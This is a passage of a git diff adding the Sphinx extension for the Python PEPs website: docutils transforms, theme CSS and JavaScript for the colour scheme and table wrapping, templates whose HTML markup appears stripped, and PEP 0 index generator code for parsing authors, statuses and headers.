+def _make_link_pretty(url: str) -> str:
+    item_name, item_type = _process_pretty_url(url)
+    return f"{item_name} {item_type}"
diff --git a/pep_sphinx_extensions/pep_processor/transforms/pep_references.py b/pep_sphinx_extensions/pep_processor/transforms/pep_references.py
new file mode 100644
index 00000000000..1e00e84cb20
--- /dev/null
+++ b/pep_sphinx_extensions/pep_processor/transforms/pep_references.py
@@ -0,0 +1,36 @@
+from pathlib import Path
+
+from docutils import nodes
+from docutils import transforms
+
+
+class PEPReferenceRoleTitleText(transforms.Transform):
+    """Add title text of document titles to reference role references."""
+
+    default_priority = 730
+
+    def apply(self) -> None:
+        if not Path(self.document["source"]).match("pep-*"):
+            return  # not a PEP file, exit early
+        for node in self.document.findall(nodes.reference):
+            if "_title_tuple" not in node:
+                continue
+
+            # get pep number and section target (fragment)
+            pep_num, fragment = node.attributes.pop("_title_tuple")
+            filename = f"pep-{pep_num:0>4}"
+
+            # Cache target_ids
+            env = self.document.settings.env
+            try:
+                target_ids = env.document_ids[filename]
+            except KeyError:
+                env.document_ids[filename] = target_ids = env.get_doctree(filename).ids
+
+            # Create title text string. We hijack the 'reftitle' attribute so
+            # that we don't have to change things in the HTML translator
+            node["reftitle"] = env.titles[filename].astext()
+            try:
+                node["reftitle"] += f" § {target_ids[fragment][0].astext()}"
+            except KeyError:
+                pass
diff --git a/pep_sphinx_extensions/pep_processor/transforms/pep_title.py b/pep_sphinx_extensions/pep_processor/transforms/pep_title.py
new file mode 100644
index 00000000000..de3ce4466a1
--- /dev/null
+++ b/pep_sphinx_extensions/pep_processor/transforms/pep_title.py
@@ -0,0 +1,66 @@
+from pathlib import Path
+
+from docutils import nodes
+from docutils import transforms
+from docutils import utils
+from docutils.parsers.rst import roles
+from docutils.parsers.rst import states
+
+
+class PEPTitle(transforms.Transform):
+    """Add PEP title and organise document hierarchy."""
+
+    # needs to run before docutils.transforms.frontmatter.DocInfo and after
+    # pep_processor.transforms.pep_title.PEPTitle
+    default_priority = 335
+
+    def apply(self) -> None:
+        if not Path(self.document["source"]).match("pep-*"):
+            return  # not a PEP file, exit early
+
+        # Directory to hold the PEP's RFC2822 header details, to extract a title string
+        pep_header_details = {}
+
+        # Iterate through the header fields, which are the first section of the document
+        desired_fields = {"PEP", "Title"}
+        fields_to_remove = []
+        for field in self.document[0]:
+            # Hold details of the attribute's tag against its details
+            row_attributes = {sub.tagname: sub.rawsource for sub in field}
+            pep_header_details[row_attributes["field_name"]] = row_attributes["field_body"]
+
+            # Store the redundant fields in the table for removal
+            if row_attributes["field_name"] in desired_fields:
+                fields_to_remove.append(field)
+
+            # We only need the PEP number and title
+            if pep_header_details.keys() >= desired_fields:
+                break
+
+        # Create the title string for the PEP
+        pep_number = int(pep_header_details["PEP"])
+        pep_title = pep_header_details["Title"]
+        pep_title_string = f"PEP {pep_number} -- {pep_title}"  # double hyphen for en dash
+
+        # Generate the title section node and its properties
+        title_nodes = _line_to_nodes(pep_title_string)
+        pep_title_node = nodes.section("", nodes.title("", "", *title_nodes, classes=["page-title"]), names=["pep-content"])
+
+        # Insert the title node as the root element, move children down
+        document_children = self.document.children
+        self.document.children = [pep_title_node]
+        pep_title_node.extend(document_children)
+        self.document.note_implicit_target(pep_title_node, pep_title_node)
+
+        # Remove the now-redundant fields
+        for field in fields_to_remove:
+            field.parent.remove(field)
+
+
+def _line_to_nodes(text: str) -> list[nodes.Node]:
+    """Parse RST string to nodes."""
+    document = utils.new_document("")
+    document.settings.pep_references = document.settings.rfc_references = False  # patch settings
+    states.RSTStateMachine(state_classes=states.state_classes, initial_state="Body").run([text], document)  # do parsing
+    roles._roles.pop("", None)  # restore the "default" default role after parsing a document
+    return document[0].children
diff --git a/pep_sphinx_extensions/pep_processor/transforms/pep_zero.py b/pep_sphinx_extensions/pep_processor/transforms/pep_zero.py
new file mode 100644
index 00000000000..bebe5062176
--- /dev/null
+++ b/pep_sphinx_extensions/pep_processor/transforms/pep_zero.py
@@ -0,0 +1,34 @@
+from __future__ import annotations
+
+from docutils import nodes
+from docutils import transforms
+
+
+class PEPZero(transforms.Transform):
+    """Schedule PEP 0 processing."""
+
+    # Run during sphinx post-processing
+    default_priority = 760
+
+    def apply(self) -> None:
+        # Walk document and mask email addresses if present.
+        for reference_node in self.document.findall(nodes.reference):
+            reference_node.replace_self(_mask_email(reference_node))
+        # Remove this node
+        self.startnode.parent.remove(self.startnode)
+
+
+def _mask_email(ref: nodes.reference) -> nodes.reference:
+    """Mask the email address in `ref` and return a replacement node.
+
+    `ref` is returned unchanged if it contains no email address.
+
+    If given an email not explicitly whitelisted, process it such that
+    `user@host` -> `user at host`.
+
+    The returned node has no refuri link attribute.
+
+    """
+    if not ref.get("refuri", "").startswith("mailto:"):
+        return ref
+    return nodes.raw("", ref[0].replace("@", " at "), format="html")
diff --git a/pep_sphinx_extensions/pep_theme/static/colour_scheme.js b/pep_sphinx_extensions/pep_theme/static/colour_scheme.js
new file mode 100644
index 00000000000..1c58a0dfc32
--- /dev/null
+++ b/pep_sphinx_extensions/pep_theme/static/colour_scheme.js
@@ -0,0 +1,31 @@
+const prefersDark = window.matchMedia("(prefers-color-scheme: dark)")
+
+const getColourScheme = () => document.documentElement.dataset.colour_scheme
+const setColourScheme = (colourScheme = getColourScheme()) => {
+    document.documentElement.dataset.colour_scheme = colourScheme
+    localStorage.setItem("colour_scheme", colourScheme)
+    setPygments(colourScheme)
+}
+
+// Map system theme to a cycle of steps
+const cycles = {
+    dark: ["auto", "light", "dark"], // auto (dark) → light → dark
+    light: ["auto", "dark", "light"], // auto (light) → dark → light
+}
+
+const nextColourScheme = (colourScheme = getColourScheme()) => {
+    const cycle = cycles[prefersDark.matches ? "dark" : "light"]
+    return cycle[(cycle.indexOf(colourScheme) + 1) % cycle.length]
+}
+
+const setPygments = (colourScheme = getColourScheme()) => {
+    const pygmentsDark = document.getElementById("pyg-dark")
+    const pygmentsLight = document.getElementById("pyg-light")
+    pygmentsDark.disabled = colourScheme === "light"
+    pygmentsLight.disabled = colourScheme === "dark"
+    pygmentsDark.media = colourScheme === "auto" ? "(prefers-color-scheme: dark)" : ""
+    pygmentsLight.media = colourScheme === "auto" ? "(prefers-color-scheme: light)" : ""
+}
+
+// Update Pygments state (the page theme is initialised inline, see page.html)
+document.addEventListener("DOMContentLoaded", () => setColourScheme())
diff --git a/pep_sphinx_extensions/pep_theme/static/mq.css b/pep_sphinx_extensions/pep_theme/static/mq.css
new file mode 100644
index 00000000000..a2ed81fff54
--- /dev/null
+++ b/pep_sphinx_extensions/pep_theme/static/mq.css
@@ -0,0 +1,120 @@
+@charset "UTF-8";
+
+/* Media Queries */
+
+/* Further reduce width of fixed elements for smallest screens */
+@media (max-width: 32em) {
+    section#pep-page-section {
+        padding: 0.25rem;
+    }
+    dl.footnote > dt,
+    dl.footnote > dd {
+        padding-left: 0;
+        padding-right: 0;
+    }
+    pre {
+        font-size: 0.75rem;
+    }
+}
+
+/* Reduce padding & margins for smaller screens */
+@media (max-width: 40em) {
+    section#pep-page-section {
+        padding: 0.5rem;
+    }
+    section#pep-page-section > header > h1 {
+        padding-right: 0;
+        border-right: none;
+    }
+    ul.breadcrumbs {
+        padding: 0 0 .5rem;
+    }
+    nav#pep-sidebar {
+        display: none;
+    }
+    pre {
+        font-size: 0.8175rem;
+    }
+    table th,
+    table td {
+        padding: 0 0.1rem;
+    }
+}
+
+@media (min-width: 40em) {
+    section#pep-page-section {
+        display: table;
+        margin: 0 auto;
+        max-width: 75em;
+        padding: 0.5rem 1rem 0;
+        width: 100%;
+    }
+    section#pep-page-section > article {
+        max-width: 37em;
+        width: 74%;
+        float: right;
+        margin-right: 0;
+        font-size: 1rem;
+    }
+    nav#pep-sidebar {
+        width: 24%;
+        float: left;
+        margin-right: 2%;
+    }
+  /* Make less prominent when sidebar ToC is available */
+  details > summary {
+      font-size: 1rem;
+      width: max-content;
+  }
+}
+@media (min-width: 60em) {
+    section#pep-page-section > article {
+        max-width: 56em;
+        padding-left: 3.2%;
+        padding-right: 3.2%;
+    }
+}
+
+@media print {
+    *,
+    *:before,
+    *:after {
+        color: #000 !important;
+    }
+    body {
+        font-size: 10pt;
+        line-height: 1.67;
+    }
+    *[role="main"] a[href]:after {
+        content: " (" attr(href) ")";
+        font-size: .75rem;
+    }
+    pre,
+    blockquote {
+        page-break-inside: avoid;
+    }
+    thead {
+        display: table-header-group;
+    }
+    tr,
+    img {
+        page-break-inside: avoid;
+    }
+    img {
+        max-width: 100% !important;
+    }
+    @page {
+        margin: 0.5cm;
+    }
+    p,
+    h2,
+    h3 {
+        orphans: 3;
+        widows: 3;
+    }
+    h1,
+    h2,
+    h3 {
+        page-break-after: avoid;
+    }
+}
diff --git a/pep_sphinx_extensions/pep_theme/static/py.png b/pep_sphinx_extensions/pep_theme/static/py.png
new file mode 100644
index 00000000000..93e4a02c3d3
Binary files /dev/null and b/pep_sphinx_extensions/pep_theme/static/py.png differ
diff --git a/pep_sphinx_extensions/pep_theme/static/style.css b/pep_sphinx_extensions/pep_theme/static/style.css
new file mode 100644
index 00000000000..598ea46b063
--- /dev/null
+++ b/pep_sphinx_extensions/pep_theme/static/style.css
@@ -0,0 +1,373 @@
+@charset "UTF-8";
+/* Styles for PEPs */
+
+/*
+ * `initial` works like undefined variables, so `var(initial, x)` will resolve to `x`.
+ * A space means an empty value, so `var( , x) y` will resolve to `y`.
+ */
+@media (prefers-color-scheme: dark) {
+   :root {
+    --light: ;
+    --dark: initial;
+  }
+}
+
+@media (prefers-color-scheme: light) {
+   :root {
+    --dark: ;
+    --light: initial;
+  }
+}
+
+:root[data-colour_scheme="dark"] {
+  --light: ;
+  --dark: initial;
+}
+
+:root[data-colour_scheme="light"] {
+  --dark: ;
+  --light: initial;
+}
+
+/* Set master colours */
+:root {
+    --colour-background: var(--light, white) var(--dark, #011);
+    --colour-background-accent: var(--light, #eee) var(--dark, #333);
+    --colour-text: var(--light, #333) var(--dark, #ccc);
+    --colour-links: var(--light, #0072aa) var(--dark, #8bf);
+    --colour-scrollbar: var(--light, #ccc) var(--dark, #333);
+    --colour-rule-strong: var(--light, #888) var(--dark, #777);
+    --colour-rule-light: var(--light, #ddd) var(--dark, #222);
+    --colour-inline-code: var(--light, #f8f8f8) var(--dark, #333);
+    --colour-warning: var(--light, #fee) var(--dark, #900);
+}
+
+img.invert-in-dark-mode {
+    filter: var(--dark, invert(1));
+}
+
+/* Set master rules */
+* {box-sizing: border-box}
+:root {color-scheme: light dark}
+html {
+    overflow-y: scroll;
+    margin: 0;
+    line-height: 1.4;
+    font-weight: normal;
+    font-size: 1rem;
+    font-family: "Source Sans Pro", Arial, sans-serif;
+}
+body {
+    margin: 0;
+    color: var(--colour-text);
+    background-color: var(--colour-background);
+}
+section#pep-page-section {
+    padding: 0.25rem;
+}
+
+/* Reduce margin sizes for body text */
+p {margin: .5rem 0}
+
+/* Header rules */
+h1 {
+    font-size: 2rem;
+    font-weight: bold;
+    margin-top: 1.25rem;
+    margin-bottom: 1rem;
+}
+h2 {
+    font-size: 1.6rem;
+    font-weight: bold;
+    margin-top: 1rem;
+    margin-bottom: .5rem;
+}
+h3 {
+    font-size: 1.4rem;
+    font-weight: normal;
+    margin-top: 1rem;
+    margin-bottom: 0.5rem;
+}
+h4 {
+    font-size: 1.2rem;
+    font-weight: normal;
+    margin-top: .5rem;
+    margin-bottom: 0;
+}
+h5,
+h6 {
+    font-size: 1rem;
+    font-weight: bold;
+    margin-top: 0;
+    margin-bottom: 0;
+}
+
+/* Anchor link rules */
+a,
+a:active,
+a:visited {
+    color: var(--colour-links);
+    display: inline;
+    overflow-wrap: break-word;
+    overflow-wrap: anywhere;
+    text-decoration-color: var(--colour-background-accent);
+}
+a:hover,
+a:focus {
+    text-decoration-color: var(--colour-rule-strong);
+}
+
+/* Blockquote rules */
+blockquote {
+    font-style: italic;
+    border-left: 1px solid var(--colour-rule-strong);
+    margin: .5rem;
+    padding: .5rem 1rem;
+}
+blockquote em {
+    font-style: normal;
+}
+
+cite {
+    font-style: italic;
+}
+
+/* Code rules (code literals and Pygments highlighting blocks) */
+code,
+pre {
+    font-family: ui-monospace, "Cascadia Mono", "Segoe UI Mono", "DejaVu Sans Mono", Consolas, monospace;
+    font-size: 0.875rem;
+    -webkit-hyphens: none;
+    hyphens: none;
+}
+code {
+    overflow-wrap: break-word;
+    overflow-wrap: anywhere;
+}
+code.literal {
+    font-size: .8em;
+    background-color: var(--colour-inline-code);
+}
+pre {
+    overflow-x: auto;
+    padding: .5rem .75rem;
+    white-space: pre;
+}
+
+/* Contents rules */
+details > summary {
+    cursor: pointer;
+    font-size: 1.6rem;
+    font-weight: bold;
+    margin-bottom: 1em;
+}
+details > summary:hover {
+    text-decoration: underline;
+}
+
+/* Definition list rules */
+dl dt {
+    font-weight: bold;
+}
+dl dd {
+    margin-bottom: 0.5rem;
+}
+
+/* Horizontal rule rule */
+hr {
+    border: 0;
+    border-top: 1px solid var(--colour-rule-light);
+    margin: 0;
+}
+/*Image rules */
+img {
+    max-width: 100%;
+}
+a img {
+    display: block;
+    margin: 0 auto;
+}
+
+/* List rules */
+ul,
+ol {
+    padding: 0;
+    margin: 0 0 0 1.5rem;
+}
+ul {list-style: square}
+ol.arabic {list-style: decimal}
+ol.loweralpha {list-style: lower-alpha}
+ol.upperalpha {list-style: upper-alpha}
+ol.lowerroman {list-style: lower-roman}
+ol.upperroman {list-style: upper-roman}
+
+/* Maths rules */
+sub,
+sup {
+    font-size: .75em;
+    line-height: 0;
+    position: relative;
+    vertical-align: baseline;
+}
+sup {top: -0.5em}
+sub {bottom: -0.25em}
+
+/* Table rules */
+div.table-wrapper {
+    overflow-x: auto;
+}
+table {
+    width: 100%;
+    border-collapse: collapse;
+    border-top: 1px solid var(--colour-background-accent);
+    border-bottom: 1px solid var(--colour-background-accent);
+}
+table caption {
+    margin: 1rem 0 .75rem;
+}
+table tbody tr:nth-of-type(odd) {
+    background-color: var(--colour-background-accent);
+}
+table th,
+table td {
+    text-align: left;
+    padding: 0.25rem 0.5rem 0.2rem;
+}
+table.pep-zero-table tr td:nth-child(2) {
+    white-space: nowrap;
+}
+table td + td {
+    border-left: 1px solid var(--colour-rule-light);
+}
+
+/* Breadcrumbs rules */
+section#pep-page-section > header {
+    border-bottom: 1px solid var(--colour-rule-light);
+}
+section#pep-page-section > header > h1 {
+    font-size: 1.1rem;
+    line-height: 1.4;
+    margin: 0;
+    display: inline-block;
+    padding-right: .6rem;
+    border-right: 1px solid var(--colour-rule-strong);
+}
+ul.breadcrumbs {
+    margin: 0;
+    padding: .5rem 0 .5rem .4rem;
+    list-style: none;
+    display: inline-block;
+}
+ul.breadcrumbs li {
+    display: inline;
+}
+ul.breadcrumbs a {
+    text-decoration: none;
+}
+
+/* Dark mode toggle rules */
+#colour-scheme-cycler {
+    background: transparent;
+    border: none;
+    padding: 0;
+    cursor: pointer;
+    width: 1.2rem;
+    height: 1.2rem;
+    float: right;
+    translate: 0 50%;
+}
+#colour-scheme-cycler svg {
+    color: var(--colour-rule-strong);
+    height: 1.2rem;
+    width: 1.2rem;
+    display: none;
+}
+:root[data-colour_scheme="auto"] #colour-scheme-cycler svg.colour-scheme-icon-when-auto {display: initial}
+:root[data-colour_scheme="dark"] #colour-scheme-cycler svg.colour-scheme-icon-when-dark {display: initial}
+:root[data-colour_scheme="light"] #colour-scheme-cycler svg.colour-scheme-icon-when-light {display: initial}
+
+/* Admonitions rules */
+div.note,
+div.warning {
+    padding: 0.5rem 0.75rem;
+    margin-top: 1rem;
+    margin-bottom: 1rem;
+}
+div.note {
+    background-color: var(--colour-background-accent);
+}
+div.warning {
+    background-color: var(--colour-warning);
+}
+p.admonition-title {
+    font-weight: bold;
+}
+
+/* PEP Header / references rules */
+dl.rfc2822,
+dl.footnote {
+    display: grid;
+    grid-template-columns: fit-content(30%) auto;
+    width: 100%;
+}
+dl.footnote {
+    border-top: 1px solid var(--colour-rule-strong);
+    line-height: 1.875;
+}
+dl.rfc2822 > dt,
+dl.rfc2822 > dd {
+    padding: .1rem .3rem .1rem;
+}
+dl.footnote > dt,
+dl.footnote > dd {
+    padding: .25rem .5rem .2rem;
+    border-bottom: 1px solid var(--colour-rule-strong);
+}
+dl.rfc2822 > dt {
+    text-align: right;
+}
+dl.footnote > dt {
+    font-weight: normal;
+    border-right: 1px solid var(--colour-background);
+}
+dl.rfc2822 > dd,
+dl.footnote > dd {
+    margin: 0;
+}
+
+/* Sidebar formatting */
+#pep-sidebar {
+    overflow-y: auto;
+    position: sticky;
+    top: 0;
+    height: 100vh;
+}
+#pep-sidebar > h2 {
+    font-size: 1.4rem;
+}
+#pep-sidebar ul {
+    margin-left: 1rem;
+}
+#pep-sidebar ul a {
+    text-decoration: none;
+}
+#source {
+    padding-bottom: 2rem;
+    font-weight: bold;
+}
+
+.reference.external > strong {
+    font-weight: normal;  /* Fix strong links for :pep: and :rfc: roles */
+}
+
+.visually-hidden {
+  position: absolute !important;
+  width: 1px !important;
+  height: 1px !important;
+  padding: 0 !important;
+  margin: -1px !important;
+  overflow: hidden !important;
+  clip: rect(0,0,0,0) !important;
+  white-space: nowrap !important;
+  border: 0 !important;
+}
diff --git a/pep_sphinx_extensions/pep_theme/static/wrap_tables.js b/pep_sphinx_extensions/pep_theme/static/wrap_tables.js
new file mode 100644
index 00000000000..70c0a3a4bc0
--- /dev/null
+++ b/pep_sphinx_extensions/pep_theme/static/wrap_tables.js
@@ -0,0 +1,30 @@
+// Wrap the tables in PEP bodies in a div, to allow for responsive scrolling
+
+"use strict";
+
+const pepContentId = "pep-content";
+
+
+// Wrap passed table element in wrapper divs
+function wrapTable (table) {
+    const wrapper = document.createElement("div");
+    wrapper.classList.add("table-wrapper");
+    table.parentNode.insertBefore(wrapper, table);
+    wrapper.appendChild(table);
+}
+
+
+// Wrap all tables in the PEP content in wrapper divs
+function wrapPepContentTables () {
+    const pepContent = document.getElementById(pepContentId);
+    const bodyTables = pepContent.getElementsByTagName("table");
+    Array.from(bodyTables).forEach(wrapTable);
+}
+
+
+// Wrap the tables as soon as the DOM is loaded
+document.addEventListener("DOMContentLoaded", () => {
+    if (document.getElementById(pepContentId)) {
+        wrapPepContentTables();
+    }
+})
diff --git a/pep_sphinx_extensions/pep_theme/templates/page.html b/pep_sphinx_extensions/pep_theme/templates/page.html
new file mode 100644
index 00000000000..30f7b58958a
--- /dev/null
+++ b/pep_sphinx_extensions/pep_theme/templates/page.html
@@ -0,0 +1,55 @@
+{# Master template for simple pages (e.g. RST files) #}
+
+
+
+    
+    
+    
+    {{ title + " | peps.python.org"|safe }}
+    
+    
+    
+    
+    
+    
+    
+    
+    
+
+
+    {% include "partials/icons.html" %}
+    
+    

+        

+            
Python Enhancement Proposals

+            
+            
+        

+        

+            {{ body }}
+        

+        
+    

+    
+    
+
+
diff --git a/pep_sphinx_extensions/pep_theme/templates/partials/icons.html b/pep_sphinx_extensions/pep_theme/templates/partials/icons.html
new file mode 100644
index 00000000000..1a008fc243c
--- /dev/null
+++ b/pep_sphinx_extensions/pep_theme/templates/partials/icons.html
@@ -0,0 +1,34 @@
+{# Adapted from Just the Docs → Furo #}
+
+  
+    Following system colour scheme
+    
+      
+      
+    
+  
+  
+    Selected dark colour scheme
+    
+      
+      
+    
+  
+  
+    Selected light colour scheme
+    
+      
+      
+      
+      
+      
+      
+      
+      
+      
+    
+  
+
diff --git a/pep_sphinx_extensions/pep_theme/theme.conf b/pep_sphinx_extensions/pep_theme/theme.conf
new file mode 100644
index 00000000000..bf410226aca
--- /dev/null
+++ b/pep_sphinx_extensions/pep_theme/theme.conf
@@ -0,0 +1,5 @@
+[theme]
+# Theme options
+inherit = none
+pygments_style = tango
+pygments_dark_style = native
diff --git a/pep_sphinx_extensions/pep_zero_generator/author.py b/pep_sphinx_extensions/pep_zero_generator/author.py
new file mode 100644
index 00000000000..4425c6b3cdf
--- /dev/null
+++ b/pep_sphinx_extensions/pep_zero_generator/author.py
@@ -0,0 +1,89 @@
+from __future__ import annotations
+
+from typing import NamedTuple
+
+
+class _Name(NamedTuple):
+    mononym: str = None
+    forename: str = None
+    surname: str = None
+    suffix: str = None
+
+
+class Author(NamedTuple):
+    """Represent PEP authors."""
+    last_first: str  # The author's name in Surname, Forename, Suffix order.
+    nick: str  # Author's nickname for PEP tables. Defaults to surname.
+    email: str  # The author's email address.
+
+
+def parse_author_email(author_email_tuple: tuple[str, str], authors_overrides: dict[str, dict[str, str]]) -> Author:
+    """Parse the name and email address of an author."""
+    name, email = author_email_tuple
+    _first_last = name.strip()
+    email = email.lower()
+
+    if _first_last in authors_overrides:
+        name_dict = authors_overrides[_first_last]
+        last_first = name_dict["Surname First"]
+        nick = name_dict["Name Reference"]
+        return Author(last_first, nick, email)
+
+    name_parts = _parse_name(_first_last)
+    if name_parts.mononym is not None:
+        return Author(name_parts.mononym, name_parts.mononym, email)
+
+    if name_parts.suffix:
+        last_first = f"{name_parts.surname}, {name_parts.forename}, {name_parts.suffix}"
+        return Author(last_first, name_parts.surname, email)
+
+    last_first = f"{name_parts.surname}, {name_parts.forename}"
+    return Author(last_first, name_parts.surname, email)
+
+
+def _parse_name(full_name: str) -> _Name:
+    """Decompose a full name into parts.
+
+    If a mononym (e.g, 'Aahz') then return the full name. If there are
+    suffixes in the name (e.g. ', Jr.' or 'II'), then find and extract
+    them. If there is a middle initial followed by a full stop, then
+    combine the following words into a surname (e.g. N. Vander Weele). If
+    there is a leading, lowercase portion to the last name (e.g. 'van' or
+    'von') then include it in the surname.
+
+    """
+    possible_suffixes = {"Jr", "Jr.", "II", "III"}
+
+    pre_suffix, _, raw_suffix = full_name.partition(",")
+    name_parts = pre_suffix.strip().split(" ")
+    num_parts = len(name_parts)
+    suffix = raw_suffix.strip()
+
+    if name_parts == [""]:
+        raise ValueError("Name is empty!")
+    elif num_parts == 1:
+        return _Name(mononym=name_parts[0], suffix=suffix)
+    elif num_parts == 2:
+        return _Name(forename=name_parts[0].strip(), surname=name_parts[1], suffix=suffix)
+
+    # handles rogue uncaught suffixes
+    if name_parts[-1] in possible_suffixes:
+        suffix = f"{name_parts.pop(-1)} {suffix}".strip()
+
+    # handles von, van, v. etc.
+    if name_parts[-2].islower():
+        forename = " ".join(name_parts[:-2]).strip()
+        surname = " ".join(name_parts[-2:])
+        return _Name(forename=forename, surname=surname, suffix=suffix)
+
+    # handles double surnames after a middle initial (e.g. N. Vander Weele)
+    elif any(s.endswith(".") for s in name_parts):
+        split_position = [i for i, x in enumerate(name_parts) if x.endswith(".")][-1] + 1
+        forename = " ".join(name_parts[:split_position]).strip()
+        surname = " ".join(name_parts[split_position:])
+        return _Name(forename=forename, surname=surname, suffix=suffix)
+
+    # default to using the last item as the surname
+    else:
+        forename = " ".join(name_parts[:-1]).strip()
+        return _Name(forename=forename, surname=name_parts[-1], suffix=suffix)
diff --git a/pep_sphinx_extensions/pep_zero_generator/constants.py b/pep_sphinx_extensions/pep_zero_generator/constants.py
new file mode 100644
index 00000000000..8b346c585b7
--- /dev/null
+++ b/pep_sphinx_extensions/pep_zero_generator/constants.py
@@ -0,0 +1,48 @@
+"""Holds type and status constants for PEP 0 generation."""
+
+STATUS_ACCEPTED = "Accepted"
+STATUS_ACTIVE = "Active"
+STATUS_DEFERRED = "Deferred"
+STATUS_DRAFT = "Draft"
+STATUS_FINAL = "Final"
+STATUS_PROVISIONAL = "Provisional"
+STATUS_REJECTED = "Rejected"
+STATUS_SUPERSEDED = "Superseded"
+STATUS_WITHDRAWN = "Withdrawn"
+
+# Valid values for the Status header.
+STATUS_VALUES = {
+    STATUS_ACCEPTED, STATUS_PROVISIONAL, STATUS_REJECTED, STATUS_WITHDRAWN,
+    STATUS_DEFERRED, STATUS_FINAL, STATUS_ACTIVE, STATUS_DRAFT, STATUS_SUPERSEDED,
+}
+# Map of invalid/special statuses to their valid counterparts
+SPECIAL_STATUSES = {
+    "April Fool!": STATUS_REJECTED,  # See PEP 401 :)
+}
+# Draft PEPs have no status displayed, Active shares a key with Accepted
+HIDE_STATUS = {STATUS_DRAFT, STATUS_ACTIVE}
+# Dead PEP statuses
+DEAD_STATUSES = {STATUS_REJECTED, STATUS_WITHDRAWN, STATUS_SUPERSEDED}
+
+TYPE_INFO = "Informational"
+TYPE_PROCESS = "Process"
+TYPE_STANDARDS = "Standards Track"
+
+# Valid values for the Type header.
+TYPE_VALUES = {TYPE_STANDARDS, TYPE_INFO, TYPE_PROCESS}
+# Active PEPs can only be for Informational or Process PEPs.
+ACTIVE_ALLOWED = {TYPE_PROCESS, TYPE_INFO}
+
+# map of topic -> additional description
+SUBINDICES_BY_TOPIC = {
+    "packaging": """\
+The canonical, up-to-date packaging specifications can be found on the
+`Python Packaging Authority`_ (PyPA) `specifications`_ page.
+Packaging PEPs follow the `PyPA specification update process`_.
+They are used to propose major additions or changes to the PyPA specifications.
+
+.. _Python Packaging Authority: https://www.pypa.io/
+.. _specifications: https://packaging.python.org/en/latest/specifications/
+.. _PyPA specification update process: https://www.pypa.io/en/latest/specifications/#specification-update-process
+""",
+}
diff --git a/pep_sphinx_extensions/pep_zero_generator/errors.py b/pep_sphinx_extensions/pep_zero_generator/errors.py
new file mode 100644
index 00000000000..deb12021ac9
--- /dev/null
+++ b/pep_sphinx_extensions/pep_zero_generator/errors.py
@@ -0,0 +1,16 @@
+from __future__ import annotations
+
+from pathlib import Path
+
+
+class PEPError(Exception):
+    def __init__(self, error: str, pep_file: Path, pep_number: int | None = None):
+        super().__init__(error)
+        self.filename = pep_file
+        self.number = pep_number
+
+    def __str__(self):
+        error_msg = super(PEPError, self).__str__()
+        error_msg = f"({self.filename}): {error_msg}"
+        pep_str = f"PEP {self.number}"
+        return f"{pep_str} {error_msg}" if self.number is not None else error_msg
diff --git a/pep_sphinx_extensions/pep_zero_generator/parser.py b/pep_sphinx_extensions/pep_zero_generator/parser.py
new file mode 100644
index 00000000000..c1c14e9cc27
--- /dev/null
+++ b/pep_sphinx_extensions/pep_zero_generator/parser.py
@@ -0,0 +1,207 @@
+"""Code for handling object representation of a PEP."""
+
+from __future__ import annotations
+
+import csv
+from email.parser import HeaderParser
+from pathlib import Path
+import re
+from typing import TYPE_CHECKING
+
+from pep_sphinx_extensions.pep_zero_generator.author import parse_author_email
+from pep_sphinx_extensions.pep_zero_generator.constants import ACTIVE_ALLOWED
+from pep_sphinx_extensions.pep_zero_generator.constants import HIDE_STATUS
+from pep_sphinx_extensions.pep_zero_generator.constants import SPECIAL_STATUSES
+from pep_sphinx_extensions.pep_zero_generator.constants import STATUS_ACTIVE
+from pep_sphinx_extensions.pep_zero_generator.constants import STATUS_PROVISIONAL
+from pep_sphinx_extensions.pep_zero_generator.constants import STATUS_VALUES
+from pep_sphinx_extensions.pep_zero_generator.constants import TYPE_STANDARDS
+from pep_sphinx_extensions.pep_zero_generator.constants import TYPE_VALUES
+from pep_sphinx_extensions.pep_zero_generator.errors import PEPError
+
+if TYPE_CHECKING:
+    from pep_sphinx_extensions.pep_zero_generator.author import Author
+
+
+# AUTHOR_OVERRIDES.csv is an exception file for PEP 0 name parsing
+AUTHOR_OVERRIDES: dict[str, dict[str, str]] = {}
+with open("AUTHOR_OVERRIDES.csv", "r", encoding="utf-8") as f:
+    for line in csv.DictReader(f):
+        full_name = line.pop("Overridden Name")
+        AUTHOR_OVERRIDES[full_name] = line
+
+
+class PEP:
+    """Representation of PEPs.
+
+    Attributes:
+        number : PEP number.
+        title : PEP title.
+        pep_type : The type of PEP.  Can only be one of the values from TYPE_VALUES.
+        status : The PEP's status.  Value must be found in STATUS_VALUES.
+        authors : A list of the authors.
+
+    """
+
+    # The required RFC 822 headers for all PEPs.
+    required_headers = {"PEP", "Title", "Author", "Status", "Type", "Created"}
+
+    def __init__(self, filename: Path):
+        """Init object from an open PEP file object.
+
+        pep_file is full text of the PEP file, filename is path of the PEP file, author_lookup is author exceptions file
+
+        """
+        self.filename: Path = filename
+
+        # Parse the headers.
+        pep_text = filename.read_text(encoding="utf-8")
+        metadata = HeaderParser().parsestr(pep_text)
+        required_header_misses = PEP.required_headers - set(metadata.keys())
+        if required_header_misses:
+            _raise_pep_error(self, f"PEP is missing required headers {required_header_misses}")
+
+        try:
+            self.number = int(metadata["PEP"])
+        except ValueError:
+            _raise_pep_error(self, "PEP number isn't an integer")
+
+        # Check PEP number matches filename
+        if self.number != int(filename.stem[4:]):
+            _raise_pep_error(self, f"PEP number does not match file name ({filename})", pep_num=True)
+
+        # Title
+        self.title: str = metadata["Title"]
+
+        # Type
+        self.pep_type: str = metadata["Type"]
+        if self.pep_type not in TYPE_VALUES:
+            _raise_pep_error(self, f"{self.pep_type} is not a valid Type value", pep_num=True)
+
+        # Status
+        status = metadata["Status"]
+        if status in SPECIAL_STATUSES:
+            status = SPECIAL_STATUSES[status]
+        if status not in STATUS_VALUES:
+            _raise_pep_error(self, f"{status} is not a valid Status value", pep_num=True)
+
+        # Special case for Active PEPs.
+        if status == STATUS_ACTIVE and self.pep_type not in ACTIVE_ALLOWED:
+            msg = "Only Process and Informational PEPs may have an Active status"
+            _raise_pep_error(self, msg, pep_num=True)
+
+        # Special case for Provisional PEPs.
+        if status == STATUS_PROVISIONAL and self.pep_type != TYPE_STANDARDS:
+            msg = "Only Standards Track PEPs may have a Provisional status"
+            _raise_pep_error(self, msg, pep_num=True)
+        self.status: str = status
+
+        # Parse PEP authors
+        self.authors: list[Author] = _parse_authors(self, metadata["Author"], AUTHOR_OVERRIDES)
+
+        # Topic (for sub-indices)
+        _topic = metadata.get("Topic", "").lower().split(",")
+        self.topic: set[str] = {topic for topic_raw in _topic if (topic := topic_raw.strip())}
+
+        # Other headers
+        self.created = metadata["Created"]
